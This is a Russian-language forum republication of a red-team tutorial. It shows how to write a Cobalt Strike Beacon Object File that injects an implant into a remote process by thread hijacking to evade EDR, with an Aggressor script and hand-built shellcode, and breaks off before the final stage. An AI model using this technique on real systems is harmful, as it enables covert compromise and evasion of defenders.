• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Разработка вредоносного ПО: использование объектных файлов маячка для удаленного внедрения процессов с помощью перехвата потоков

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Как подтвердят люди, с которыми я общался, моя любимая тема во всем мире - это бинарная эксплуатация. Мне нравится все в ней, от аспектов решения проблем до внутреннего устройства ОС, ассемблера и C. Мне также нравится расширять свои границы, чтобы найти новые и творческие решения для эксплуатации. Помимо моей склонности к эксплуатации, я также люблю REDTEAM. В конце концов, это то, что я делаю изо дня в день. Хотя мне нравится работать с корпоративными сетями, мне действительно нравятся аспекты уклонения от хоста в REDTEAM. Мне невероятно интересно и сложно использовать некоторые из моих предварительных знаний об эксплуатации и внутреннем устройстве Windows, чтобы обойти продукты безопасности и остаться незамеченным. С Cobalt Strike, очень популярным инструментом удаленного доступа (RAT), который так широко используется REDTEAM, я подумал, что буду глубже исследовать новую возможность Cobalt Strike, файлы объектов Beacon, которые позволяют операторам писать возможности постэксплуатации на C (что делает меня невероятно счастливым как личность). В этом блоге будет рассмотрен метод, известный как перехват потока, и его интеграция в пригодный для использования объектный файл маячка.

Однако перед тем, как начать, я хотел бы отделить этот пост, который будет сосредоточен на технике удаленного внедрения процесса, перехвата потоков и восстановления потоков - не столько на самих объектных файлах маячка. Для наших целей объектные файлы-маячки являются средством достижения цели, поскольку этот метод можно использовать во многих других формах. Как уже упоминалось, Cobalt Strike получил широкое распространение, и я думаю, что это отличный инструмент, и я его большой сторонник. Я по-прежнему считаю, что, в конце концов, более важно понимать всеобъемлющую концепцию, связанную с ТТП (тактика, техника и процедура), а не научиться просто произвольно запускать инструмент, что, в свою очередь, создаст узкое место в своей методологии REDTEAM, полагаясь на сам инструмент. Если Cobalt Strike уйдет завтра, это не должно сделать этот TTP или любые другие TTP бесполезными. Тем не менее, эта первая часть этого поста, почти противоречиво, кратко опишет, что такое объектные файлы маячка, краткий обзор удаленного внедрения процесса и немного о написании кода, который соответствует потребностям объектных файлов маячка.

Наконец, финальный проект можно найти здесь (https://github.com/connormcgarr/cThreadHijack).

Файлы объектов маячка - у вас есть две минуты, вперед.

Еще в июне я увидел очень интересную запись в блоге Cobalt Strike, в которой описывалась новая возможность Beacon, известная как Beacon Object Files. Объектные файлы Beacon, стилизованные под BOF, по сути, представляют собой скомпилированные программы на C, которые выполняются как независимый от положения код в Beacon. Вы загружаете объектный файл, и Cobalt Strike обеспечивает связь. У Рафаэля Маджа, создателя Cobalt Strike, есть видео на YouTube, в котором рассказывается об особенностях, возможностях и ограничениях BOF. Я очень рекомендую вам посмотреть это видео. Кроме того, я рекомендую вам посетить блог и проект BOF TrustedSec, чтобы дополнить доступную документацию Cobalt Strike для разработки BOF.

Прежде чем двигаться дальше, следует отметить, что BOFs задуманы как "легкие" инструменты. Легковесность может быть субъективной, но, как Рафаэль указывает в своем видео и блоге, основные преимущества BOF двоякие:

- BOF не порождает временный "жертвенный" процесс для выполнения постэксплуатационной работы - они напрямую выполняются как независимый от позиции код в текущем процессе Beacon, увеличивая общую OPSEC (операционную безопасность).

- BOF действительно предназначены для взаимодействия с Windows API и внутренним Beacon API, поскольку BOF предоставляют набор функций, которые операторы могут использовать при разработке. Это означает, что BOF-файлы меньше по размеру и позволяют легко вызывать API-интерфейсы Windows и взаимодействовать с внутренним API-интерфейсом Beacon.

Кроме того, у BOFs есть несколько недостатков:

- Cobalt Strike - это компоновщик для BOF, что означает, что функции стиля libc, такие как strlen, не будут разрешаться. Однако, чтобы компенсировать это, вы можете использовать BOF-совместимые декораторы в своих прототипах функций с библиотекой MSVCRT (Microsoft C Run-time) и получать такие функции оттуда. Объявление и использование таких функций с BOF будет описано в последних частях этого сообщения. Кроме того, из CVE-2020-0796 BOF Рафаэля есть способы определения ваших собственных функций в стиле C.

- BOF выполняются в рамках текущего процесса Beacon - это означает, что если ваш BOF обнаружит какую-то внутреннюю ошибку и выйдет из строя, ваш процесс Beacon также выйдет из строя. Это означает, что BOF должны быть тщательно проверены и протестированы в нескольких системах, сетях и средах, а также должны выполняться проверки информации о версии на основе хоста с использованием должным образом задокументированных типов данных и структур, описанных в прототипе функции, и очистки любых открытых дескрипторов, выделенных память.

Теперь, когда это не так, давайте поговорим об удаленном внедрении процессов и захвате потоков, а также обрисовываем последовательность выполнения нашего BOF.

Удаленная Инекция в Процесс.

Для незнакомых удаленное внедрение процесса - это метод, с помощью которого оператор может при определенных обстоятельствах внедрить код в другой процесс на машине. Чаще всего это делается с помощью цепочки API-интерфейсов Windows, вызываемых для выделения некоторой памяти в другом процессе, записи пользовательской памяти (обычно какого-либо шелл-кода) в это выделение и запуска выполнения путем создания потока внутри удаленный процесс. API, VirtualAllocEx, WriteProcessMemory и CreateRemoteThread часто являются популярными вариантами соответственно.

Почему важно удаленное внедрение процесса? Взгляните на изображение ниже, которое представляет собой список процессов, выполняемых внутри имплантата Cobalt Strike Beacon.

Beacon1.png



Как видно выше, Cobalt Strike не только сообщает оператору, какие процессы выполняются, но также и в контексте того, в каком пользовательском контексте выполняется определенный процесс. Это может быть очень полезно при тестировании на проникновение в среде Active Directory, где целью является получение административного доступа к домену. Допустим, вы как оператор получаете доступ к серверу, на котором вошло много пользователей, включая пользователя с правами администратора домена. Это означает, что существует большая вероятность того, что в контексте этого важного пользователя будут выполняться процессы. Эту концепцию можно увидеть ниже, где выполняется второй листинг процессов, когда другой пользователь ANOTHERUSER запускает процесс PowerShell.exe на узле.

Beacon2.png


Используя встроенную возможность внедрения Cobalt Strike, необработанный имплант Beacon может быть введен в процесс PowerShell.exe, используя технику удаленной инъекции, описанную в профиле Cobalt Strike Malleable C2, что приводит ко второму обратному вызову в контексте пользователя ANOTHERUSER, используя PID экземпляра PowerShell.exe, архитектура процесса (64-разрядная) и имя прослушивателя Cobalt Strike в качестве аргументов.

Beacon3.png


После инъекции происходит успешный обратный вызов, в результате чего создается действительный сеанс в контексте пользователя OTHERUSER.

Beacon4.png



Это полезно для оператора REDTEAM, поскольку учетные данные для red team не нужны для получения доступа в контексте указанного пользователя. Однако есть несколько недостатков, в том числе добавление продуктов обнаружения и отклика конечных точек (EDR), которые обнаруживают такое поведение. В этом случае одним из индикаторов компрометации (IOC) может быть удаленный поток, создаваемый в удаленном процессе. Для этого TTP существует больше IOC, но в этом блоге основное внимание будет уделено устранению необходимости создания удаленного потока. Вместо этого давайте рассмотрим захват потока, метод, при котором уже существующий поток в целевом процессе приостанавливается и обрабатывается для выполнения шелл-кода.

Перехват потоков и восстановление потоков

Как упоминалось ранее, процесс типичного удаленного инжекта состоит из:

- Выделите область памяти в целевом процессе с помощью VirtualAllocEx. Дескриптор целевого процесса должен уже существовать с правом доступа не менее PROCESS_VM_OPERATION, чтобы успешно использовать этот API. Этот дескриптор можно получить с помощью функции Windows API OpenProcess.

- Напишите свой код в выделенную область, используя WriteProcessMemory. Дескриптор целевого процесса должен уже существовать с правом доступа не менее PROCESS_WRITE и ранее упомянутым PROCESS_VM_OPERATION - это означает, что дескриптор удаленного процесса должен иметь как минимум оба этих права доступа для выполнения удаленной инъекции.

- Создайте удаленный поток в удаленном процессе для выполнения шелл-кода с помощью CreateRemoteThread.

Наша техника перехвата потоков будет использовать первые два члена из предыдущего списка, но вместо CreateRemoteThread наш рабочий процесс будет состоять из следующего:
- Откройте дескриптор удаленного процесса, используя вышеупомянутые права доступа, необходимые для VirtualAllocEx и WriteProcessMemory.

- Прокрутите потоки на машине, используя Windows API CreateToolhelp32Snapshot. Этот цикл будет содержать логику, которая прерывается при идентификации первого потока в целевом процессе.

- После разрыва цикла откройте дескриптор целевого потока с помощью функции Windows API OpenThread.

- Вызовите SuspendThread, передав предыдущий дескриптор потока, упомянутый в качестве аргумента. SuspendThread требует, чтобы дескриптор имел право доступа THREAD_SUSPEND_RESUME.

- Вызовите GetThreadContext, используя дескриптор потока. Эта функция требует, чтобы дескрипторы имели право доступа THREAD_GET_CONTEXT. Эта функция сбрасывает текущее состояние регистров ЦП целевого потока, флагов процессора и другую информацию ЦП в запись CONTEXT. Это связано с тем, что каждый поток имеет свой собственный стек, регистры процессора и так далее. Эта информация будет позже использована для выполнения нашего шелл-кода и для восстановления потока после завершения выполнения.

- Внедрите шелл-код в желаемый процесс с помощью VirtualAllocEx и WriteProcessMemory. Шелл-код, который будет использоваться в этом блоге, будет полезной нагрузкой Cobalt Strike по умолчанию, которая является отражающей DLL. Эта полезная нагрузка будет динамически сгенерирована с помощью уже существующего прослушивателя, указанного пользователем, с использованием сценария Cobalt Strike Aggressor. Создание сценария Aggressor будет выполнено в последних частях этого сообщения в блоге. Имплант Beacon еще не будет запущен, он пока просто будет находиться внутри целевого удаленного процесса.

- Поскольку бесэтапная полезная нагрузка Cobalt Strike по умолчанию является отражающей DLL, она работает немного иначе, чем традиционный шелл-код. Поскольку это отражающая DLL, когда функция DllMain вызывается для запуска Beacon, шелл-код никогда не выполняет "возврат", потому что Beacon вызывает либо ExitThread, либо ExitProcess, чтобы покинуть DllMain, в зависимости от того, что указано в полезной нагрузке оператором. Из-за этого было бы невозможно восстановить захваченный поток, поскольку поток будет запускать функцию DllMain, пока оператор не выйдет из маяка, поскольку бесэтапный необработанный артефакт маячка не выполняет "возврат". В связи с этим мы должны создать шелл-код, в который будет заключен наш имплант Beacon, с настраиваемой подпрограммой CreateThread, которая создает локальный поток в удаленном процессе для запуска импланта Beacon. По сути, это один из трех компонентов, которые наша "новая" полная полезная нагрузка будет "нести", поэтому, когда выполнение достигает удаленного процесса, вызов CreaeteThread, который создает локальный поток, выделяет поток в удаленном процессе для запуска Beacon. Это означает, что захваченный поток никогда на самом деле не выполнит имплант Beacon, он фактически выполнит небольшой шелл-код, состоящий из трех компонентов, который помещает имплант Beacon в свой собственный локальный поток вместе с двумя другими подпрограммами, которые будут описаны здесь в ближайшее время. До этого момента код не выполнялся, и все упомянутое является лишь кратким описанием назначения каждого компонента.

- Пользовательская процедура CreateThread фактически выполняется путем вызова из другой процедуры, которая будет заключена в нашу последнюю полезную нагрузку, которая является процедурой для вызова NtContinue. Это второй компонент нашего собственного шелл-кода. После завершения выполнения подпрограммы CreateThread она вернется в подпрограмму NtContinue. После того, как захваченный поток выполнит процедуру CreateThread, поток необходимо восстановить с использованием исходных регистров ЦП, флагов и так далее это будет до того, как произошел захват потока. О NtContinue мы поговорим в последних частях этого поста, а пока просто знайте, что NtContinue на высоком уровне - это функция в ntdll.dll, которая принимает указатель на запись CONTEXT и устанавливает вызывающий поток в этот контекст. Опять же, код еще не выполнен. Единственное, что изменилось, это то, что наша большая "финальная нагрузка" добавила к нему еще один компонент, NtContinue.

- К подпрограмме CreateThread сначала добавляется процедура выравнивания стека, которая выполняет побитовое И с указателем стека, чтобы гарантировать 16-байтовое выравнивание. Некоторые вызовы функций завершаются ошибкой, если они не выровнены по 16 байтам, и это гарантирует, что, когда шеллкод выполняет вызов подпрограммы CreateThread, он сначала выравнивается по 16 байтам. Затем вызывается malloc для создания одного гигантского буфера, в который добавляются все эти "движущиеся части".

- Теперь, когда есть один непрерывный буфер для конечной полезной нагрузки, использующий VirtualAllocEx и WriteProcessMemory, снова вводится в удаленный процесс последняя полезная нагрузка, состоящая из трех подпрограмм.

- Наконец, ранее захваченная запись CONTEXT обновляется, чтобы указать член DWORD.Rip, который представляет значение 64-битного указателя инструкции, на адрес нашей полной полезной нагрузки.

- Затем вызывается SetThreadContext, который заставляет целевой поток обновляться, чтобы указывать на конечную полезную нагрузку, а ResumeThread используется для постановки в очередь выполнения нашего шелл-кода путем возобновления захваченного потока.

Прежде чем двигаться дальше, я хотел бы остановиться на двух вещах. Первый - это вызов CreateThread. На первый взгляд может показаться, что это не жизнеспособная альтернатива CreateRemoteThread напрямую. Преимущество техники перехвата потока заключается в том, что даже если поток создается, он создается не удаленным процессом, а локально. Это делает несколько вещей, в том числе избегает общей цепочки вызовов API VirtualAllocEx, WriteProcessMemory и CreateRemoteThread и, во-вторых, путем смешивания (немного большего) путем вызова CreateThread, который является менее изученным вызовом API. Есть и другие IOC для обнаружения этой техники. Однако я оставлю это читателю в качестве упражнения :).

Давайте продолжим и начнем с кода.

Visual Studio + встроенные функции Beacon Object File

В этом проекте я буду использовать Visual Studio и компилятор MSVC, cl.exe. Не стесняйтесь использовать mingw, так как он также может создавать BOFs. Прежде чем мы начнем, давайте рассмотрим несколько домашних правил для BOF.

Чтобы скомпилировать BOF в Visual Studio, откройте x64 Native Tools Command Prompt для сеанса VS и используйте следующую команду: cl /c /GS-INPUT.c /FoOUTPUT.o. Это скомпилирует программу C только как объектный файл и не будет реализовывать файлы cookie стека, потому что компоновщик Cobalt Strike, очевидно, не может найти встроенные функции проверки файлов cookie стека.

Если вы хотите вызвать функцию Windows API, для BOF требуется ключевое слово __declspec (dllimport), которое определено в winnt.h как DECLSPEC_IMPORT. Это указывает компилятору, что эта функция находится в DLL, сообщая компилятору по существу, что "эта функция будет разрешена позже", и, как упоминалось ранее, поскольку Cobalt Strike является компоновщиком, это необходимо, чтобы сообщить компилятору, чтобы разрешить связывание позже. Поскольку связывание произойдет позже, это также означает, что в BOF должен быть предоставлен полнофункциональный прототип. Вы можете использовать Visual Studio, чтобы "заглянуть" в прототип функции Windows API. Этого будет достаточно для присвоения ключевого слова __declspec (dllimport) нашим прототипам функций, поскольку прототипы большинства функций Windows API содержат директиву #define с определением WINBASEAPI или аналогичную, которая уже содержит ключевое слово __declspec (dllimport). Примером может служить прототип функции GetProcAddress, как показано ниже.

Beacon5.png


Это показывает, что ключевое слово __declspec (dllimport) будет присутствовать при компиляции этого BOF.

Beacon6.png


Вооруженный этой информацией, если оператор захочет включить функцию GetProcAddress в свой BOF, он будет обозначен следующим образом:

WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);

Значение непосредственно перед $ представляет библиотеку, в которой находится функция. Таблица перемещения объектного файла, которая, по сути, содержит указатели на список элементов, адреса которых требуется объектному файлу, как и функции других библиотек или объектных файлов, будет указывать на прототипный адрес памяти функций LIB$Function. Cobalt Strike, действуя как компоновщик и загрузчик, проанализирует эту таблицу и обновит таблицу перемещения объектного файла, где это применимо, с фактическими адресами пользовательских функций Windows API, таких как GetProcAddress в приведенном выше тестовом примере. Затем этот большой двоичный объект передается в Beacon в качестве кода для выполнения. Не изобретая велосипед здесь, Рафаэль обрисовывает все это в своем замечательном видео.

В дополнение к этому, я коснусь еще одной вещи - а именно аргументов, предоставляемых пользователем, и возврата вывода обратно оператору. Beacon предоставляет внутренний API для BOF, которые описаны в заголовочном файле beacon.h, предоставленном Cobalt Strike. Для возврата вывода обратно оператору предоставляется API BeaconPrintf, который может возвращать вывод через Beacon. Этот API принимает введенную пользователем строку, а также директиву #define в beacon.h, а именно CALLBACK_OUTPUT и CALLBACK_ERROR. Например, обновление оператора с помощью сообщения будет реализовано как таковое:

BeaconPrintf(CALLBACK_OUTPUT, "[+] Hello World!\n");
Чтобы принимать аргументы, предоставленные пользователем, вам необходимо внедрить в свой проект скрипт Aggressor. Следующий сценарий будет использован для этого поста.

Python:
# Setup cThreadHijack
alias cThreadHijack {

    # Alias for Beacon ID and args
    local('$bid $listener $pid $payload');
   
    # Set the number of arguments
    ($bid, $pid, $listener) = @_;

    # Determine the amount of arguments
    if (size(@_) != 3)
    {
        berror($bid, "Error! Please enter a valid listener and PID");
        return;
    }

    # Read in the BOF
    $handle = openf(script_resource("cThreadHijack.o"));
    $data = readb($handle, -1);
    closef($handle);

    # Verify PID is an integer
    if ((!-isnumber $pid) || (int($pid) <= 0))
    {
        berror($bid, "Please enter a valid PID!\n");
        return;
    }

    # Generate a new payload
    $payload = payload_local($bid, $listener, "x64", "thread");
    $handle1 = openf(">out.bin");
    writeb($handle1, $data1);
    closef($handle1);
   
    # Pack the arguments
    # 'b' is binary data and 'i' is an integer
    $args = bof_pack($bid, "ib", $pid, $payload);

    # Run the BOF
    # go = Entry point of the BOF
    beacon_inline_execute($bid, $data, "go", $args);
}



Цель состоит в том, чтобы предоставить нашему BOF для Cobalt Strike очень оригинальное имя cThreadHijack, PID для инъекции и имя слушателя Cobalt Strike.
Первый локальный оператор устанавливает наши переменные, которые включают идентификатор маячка, выполняющего BOF, имя слушателя, PID и полезную нагрузку, которая будет сгенерирована позже. Оператор @_ устанавливает массив с порядком, в котором наши аргументы будут переданы в BOF. Это означает, что команда для использования этого BOF будет иметь PID cThreadHijack "Имя слушателя". После этого выполняется проверка ошибок, чтобы определить, были ли предоставлены 3 аргумента (два для PID и слушателя и идентификатор маяка, третий аргумент, будут предоставлены BOF без необходимости вводить что-либо). После считывания объектного файла и проверки PID функция Aggressor payload_local используется для генерации необработанных полезных данных Cobalt Strike с указанным пользователем именем слушателя и методом выхода. После этого предоставленный пользователем аргумент $pid упаковывается как целое число, а вновь созданная переменная $ payload упаковывается как двоичное значение. Затем при выполнении в Cobalt Strike псевдоним cThreadHijacked выполняется с вышеупомянутыми аргументами, используя функцию go в качестве основной точки входа. Этот сценарий должен быть загружен перед выполнением BOF.

Со стороны кода C так выглядит установка этих аргументов и определение функций, необходимых для захвата потока.

Beacon7.png


Функция BeaconDataParse сначала используется со специальной структурой данных для получения аргументов, предоставленных пользователем. Затем значение int pid устанавливается на PID, предоставленный пользователем, а значение шелл-кода char* устанавливается на имплант Beacon, что означает, что все на месте. Наконец, теперь, когда детали о соблюдении правил BOF при написании C удалены, давайте перейдем к коду.

Открыть, перечислить, приостановить, получить, инжектировать и выйти!

Первый шаг в захвате потока - это сначала открыть дескриптор целевого процесса. Как упоминалось ранее, вызовы, которые используют этот дескриптор, VirtualAllocEx и WriteProcessMemory, должны иметь полное право доступа PROCESS_VM_OPERATION и PROCESS_VM_WRITE. Это можно соотнести со следующим кодом.

Beacon8.png


Эта функция принимает предоставленный пользователем аргумент для PID и возвращает его дескриптор. После открытия дескриптора процесса BOF начинает перечисление потоков с помощью API CreateToolhelp32Snapshot. Эта процедура отправляется через цикл и "прерывается" при достижении первого потока целевого PID. Когда это происходит, происходит вызов OpenThread с правами THREAD_SUSPEND_RESUME, THREAD_SET_CONTEXT и THREAD_GET_CONTEXT. Это позволяет программе приостановить поток, получить контекст потока и установить контекст потока.

Beacon9.png


На этом этапе цель состоит в том, чтобы приостановить идентифицированный поток, чтобы получить его текущую запись CONTEXT, а затем снова установить его контекст.

Beacon10.png


После приостановки потока имплант Beacon удаленно вводится в целевой процесс. Это не будет окончательной полезной нагрузкой, которую выполнит захваченный поток, это просто внедрение имплантата Beacon в удаленный процесс, чтобы использовать этот адрес позже в подпрограмме CreateThread.

Beacon11.png


Теперь, когда удаленный поток приостановлен и наш шеллкод имплантата Beacon находится в адресном пространстве удаленного процесса, пора реализовать массив BYTE, который помещает имплант Beacon в поток и выполняет его.

Маячок - Оставайся на месте!

Как упоминалось ранее, первой целью будет размещение уже введенного имплантата Beacon в его собственный тред. В настоящее время имплант просто находится в желаемом удаленном процессе и не запущен. Для этого мы создадим 64-байтовый массив BYTE, который будет содержать коды операций, необходимые для выполнения этой задачи. Давайте посмотрим на прототип функции CreateThread.

Код:
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

Как упоминалось в документации Microsoft, эта функция создаст поток для выполнения в виртуальном адресном пространстве вызывающей функции. Поскольку мы будем внедрять эту процедуру в удаленный процесс, при выполнении подпрограммы она создаст поток внутри удаленного процесса. Это выгодно для нас, поскольку CreateThread создает локальный поток, но поскольку процедура будет выполняться внутри удаленного процесса, она порождает локальный поток, вместо того, чтобы требовать от нас создавать поток удаленно из нашего текущего процесса.


Аргумент функции, о котором мы будем беспокоиться, - это LPTHREAD_START_ROUTINE, который на самом деле является просто указателем функции на то, что поток будет выполнять. В нашем случае это будет адрес нашего ранее введенного имплантата Beacon. У нас уже есть этот адрес, поскольку VirtualAllocEx имеет возвращаемое значение типа LPVOID, которое является указателем на наш шелл-код. Давайте перейдем к разработке процедуры.

Первый шаг - объявить массив BYTE размером 64 байта. Было выбрано 64 байта, так как он делится на QWORD, который является 64-битным адресом. Это необходимо для обеспечения правильного выравнивания, то есть для этой процедуры будет использоваться 8 QWORDS, что позволяет сохранить все в порядке и согласованности. Кроме того, мы объявим целочисленную переменную для использования в качестве "счетчика", чтобы убедиться, что мы помещаем наши коды операций в правильный индекс в массиве BYTE.

BYTE createThread[64] = { NULL };
int z = 0;

Поскольку мы работаем в 64-битной системе, мы должны придерживаться соглашения о вызовах __fastcall. Это соглашение о вызовах требует, чтобы первые четыре целочисленных аргумента (значения с плавающей запятой передаются в разных регистрах) передаются в регистры RCX, RDX, R8 и R9 соответственно. Однако остается вопрос - CreateThread имеет всего шесть параметров, что нам делать с последними двумя? С __fastcall пятый и последующие параметры располагаются в стеке со смещением 0x20 и каждые 0x8 байтов впоследствии. Это означает, что для наших целей пятый параметр будет расположен по адресу RSP + 0x20, а шестой - по адресу RSP + 0x28. Вот параметры, используемые для наших целей.

- lpThreadAttributes будет установлен в NULL. Установка этого значения в NULL гарантирует, что дескриптор потока не будет унаследован дочерними процессами.

- dwStackSize будет установлен в 0. Установка этого параметра в 0 заставляет поток наследовать размер стека по умолчанию для исполняемого файла, что подходит для наших целей.

- lpStartAddress, как упоминалось ранее, будет адресом нашего шелл-кода. Этот параметр является указателем на функцию, которая должна выполняться потоком.

- lpParameter будет установлен в NULL, так как нашему потоку не нужно наследовать какие-либо переменные.

- dwCreationFlags будет установлено в 0, что информирует поток, который мы хотели бы запустить, сразу после его создания. Это запустит наш имплант Beacon после создания потока.

- lpThreadId будет установлен в NULL, что для нас менее важно, так как это не вернет идентификатор потока в параметр указателя LPDWORD. По сути, мы могли передать допустимый указатель на DWORD, и он был бы динамически заполнен идентификатором потока. Однако это не важно для целей данной публикации.

Первый шаг - поместить значение NULL или 0 в регистр RCX для аргумента lpThreadAttributes. Для этого мы можем использовать побитовое XOR.

// xor rcx, rcx
createThread[z++] = 0x48;
createThread[z++] = 0x31;
createThread[z++] = 0xc9;

Это выполняет побитовое исключающее ИЛИ с теми же двумя значениями (RCX), что приводит к 0, поскольку побитовое исключающее ИЛИ с двумя одинаковыми значениями приводит к 0. Затем результат помещается в регистр RCX. Аналогично, мы можем использовать то же свойство XOR для второго параметра, dwStackSize, который также равен 0.

// xor rdx, rdx
createThread[z++] = 0x48;
createThread[z++] = 0x31;
createThread[z++] = 0xd2;
Следующий шаг - это единственный параметр, для которого нам нужно указать конкретное значение, а именно lpStartAddress. Прежде чем указать этот параметр, давайте взглянем на нашу первую инъекцию, в результате которой имплант Beacon был внедрен в желаемый удаленный процесс.


Beacon112.png


Приведенный выше код возвращает адрес виртуальной памяти нашего выделения в переменную placeRemotely. Как можно видеть, это возвращаемое значение имеет тип данных LPVOID, тогда как аргумент lpStartParameter принимает тип данных LPTHREAD_START_ROUTINE, который очень похож на LPVOID. Однако для непрерывности мы сначала введем это выделение в указатель функции LPTHREAD_START_ROUTINE.

// Casting shellcode address to LPTHREAD_START_ROUTINE function pointer
LPTHREAD_START_ROUTINE threadCast = (LPTHREAD_START_ROUTINE)placeRemotely;


Чтобы поместить это значение в массив BYTE, нам нужно будет использовать функцию, которая может скопировать этот адрес в буфер, поскольку массив BYTE будет принимать только один байт за раз. Однако есть ограничение, поскольку BOF не связывают функции C-Runtime, такие как memcpy. Мы можем преодолеть это, создав собственную процедуру memcpy или взяв ее из библиотеки MSVCRT, которую Cobalt Strike может связать с нами. Однако пока и для осведомленности других мы будем использовать созданный Рафаэлем заголовочный файл libc.h, который можно найти здесь (https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c).

Beacon12.png


Используя пользовательскую функцию mycopy, теперь мы можем выполнить команду mov r8, LPTHREAD_START_ROUTINE.

// mov r8, LPTHREAD_START_ROUTINE
createThread[z++] = 0x49;
createThread[z++] = 0xb8;
mycopy(createThread + z, &threadCast, sizeof(threadCast));
z += sizeof(threadCast);

Обратите внимание, как конец этого небольшого двоичного объекта шелл-кода содержит обновление для счетчика индекса массива z, чтобы гарантировать, что массив записывается по правильному индексу. У нас есть возможность использовать mov r8, LPTHREAD_START_ROUTINE, поскольку наш указатель шелл-кода уже отображен в удаленном процессе. Это позволит подпрограмме CreateThread найти этот указатель функции в памяти, поскольку он доступен в адресном пространстве удаленного процесса. Мы должны помнить, что каждый процесс в Windows имеет собственное частное виртуальное адресное пространство, то есть память в одном процессе в пользовательском режиме не видна для другого процесса в пользовательском режиме. Как мы увидим с появлением заглушки NtContinue, нам фактически придется встроить сохраненную запись CONTEXT захваченного потока в саму полезную нагрузку, поскольку структура находится в текущем процессе, а код будет выполняться в желаемом удаленном процесс.

Теперь, когда параметр lpStartAddress завершен, параметр lpParameter должен иметь значение NULL. Опять же, это можно сделать с помощью побитового XOR.

// xor r9, r9
createThread[z++] = 0x4d;
createThread[z++] = 0x31;
createThread[z++] = 0xc9;

Последние два параметра, dwCreationFlags и lpThreadId, будут расположены по смещению 0x20 и 0x28 соответственно от RSP. Поскольку R9 уже содержит значение 0, и поскольку обоим параметрам требуется значение 0, мы можем использовать инструкции для mov как таковые.

// mov [rsp+20h], r9 (which already contains 0)
createThread[z++] = 0x4c;
createThread[z++] = 0x89;
createThread[z++] = 0x4c;
createThread[z++] = 0x24;
createThread[z++] = 0x20;

// mov [rsp+28h], r9 (which already contains 0)
createThread[z++] = 0x4c;
createThread[z++] = 0x89;
createThread[z++] = 0x4c;
createThread[z++] = 0x24;
createThread[z++] = 0x28;

Небольшое примечание - обратите внимание, что скобки, окружающие каждый операнд [rsp + OFFSET], указывают на то, что мы хотели бы перезаписать то, на что указывает это значение.

Следующая цель - разрешить адрес CreateThread. Несмотря на то, что мы будем разрешать этот адрес в BOF, что означает, что он будет разрешен в текущем процессе, а не в желаемом удаленном процессе, адрес CreateThread будет одинаковым для всех процессов, хотя каждому процессу пользовательского режима сопоставляется свое собственное представление kernel32.dll. Чтобы разрешить этот адрес, мы будем использовать следующую процедуру с обозначениями BOF в нашем коде.

// Resolve the address of CreateThread
unsigned long long createthreadAddress = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32"), "CreateThread");

// Error handling
if (createthreadAddress == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve CreateThread. Error: 0x%lx\n", KERNEL32$GetLastError());
}

Беззнаковая длинная переменная createthreadAddress будет заполнена адресом CreateThread. unsigned long long - это 64-битное значение, которое представляет собой размер адреса памяти на 64-битном адресе. Хотя у KERNEL32 $ GetProcAddress есть прототип с возвращаемым значением FARPROC, нам нужно, чтобы адрес действительно имел тип unsigned long long, DWORD64 или аналогичный, чтобы мы могли правильно скопировать этот адрес в подпрограмму с помощью mycopy. Следующая цель - переместить адрес CreateThread в RAX. После этого мы выполним инструкцию call rax, которая запустит процедуру. Это можно увидеть ниже.

// mov rax, CreateThread
createThread[z++] = 0x48;
createThread[z++] = 0xb8;
mycopy(createThread + z, &createthreadAddress, sizeof(createthreadAddress));
z += sizeof(createthreadAddress);

// call rax (call CreateThread)
createThread[z++] = 0xff;
createThread[z++] = 0xd0;

Кроме того, мы хотим добавить код операции ret. Наша полная полезная нагрузка будет настроена следующим образом:

- Сначала будет выполнен вызов процедуры выравнивания стека/CreateThread (подпрограмма выравнивания стека будет затронута в последней части этого блога). Когда выполняется инструкция вызова, она помещает в стек адрес возврата. Это адрес, на который ret перейдет, чтобы продолжить выполнение полезной нагрузки. Когда вызывается процедура выравнивания стека/CreateThread, она помещает адрес возврата в стек. Этот адрес возврата будет фактически адресом подпрограммы NtContinue.

- Мы хотим завершить нашу процедуру выравнивания стека/CreateThread инструкцией ret. Это ret принудительно вернет выполнение подпрограммы NtContinue. Все это будет показано при выполнении проверки внутри WinDbg.

- Вызов процедуры выравнивания стека/CreateThread фактически будет частью процедуры NtContinue. Первой инструкцией в подпрограмме NtContinue будет вызов шеллкода выравнивания стека/CreateThread, который затем выполнит возврат к подпрограмме NtContinue, где выполнение потока будет восстановлено. Вот небольшой наглядный пример.

PAYLOAD = NtContinue вызывает выравнивание стека/шелл-код CreateThread->выравнивание стека/выполняет шелл-код CreateThread, помещая Beacon в свой собственный локальный поток. Этот шеллкод выполняет возврат к шеллкоду NtContinue->завершается выполнение шеллкода NtContinue, что восстанавливает поток.

В соответствии с нашим планом, давайте закончим процедуру CreateThread кодом операции 0xc3, который является инструкцией возврата.

// Return to the caller in order to kick off NtContinue routine
createThread[z++] = 0xc3;

Давайте продолжим разработку процедуры шелл-кода NtContinue. После этого мы разработаем шелл-код выравнивания стека, чтобы гарантировать, что указатель стека выровнен по 16 байт, когда первый вызов происходит в нашей последней полезной нагрузке. После того, как мы выполнили обе эти процедуры, мы пройдемся по всему шеллкоду внутри отладчика.

"Никогда в области человеческих конфликтов столь многие не были так обязаны NtContinue"

К настоящему времени мы достигли следующего:

- Наш шелл-код был внедрен в удаленный процесс.

- Мы определили удаленный поток, которым мы позже будем управлять, чтобы запустить наш имплант Beacon.

- Мы создали процедуру, которая поместит имплант Beacon в свой собственный локальный поток внутри удаленного процесса после выполнения.

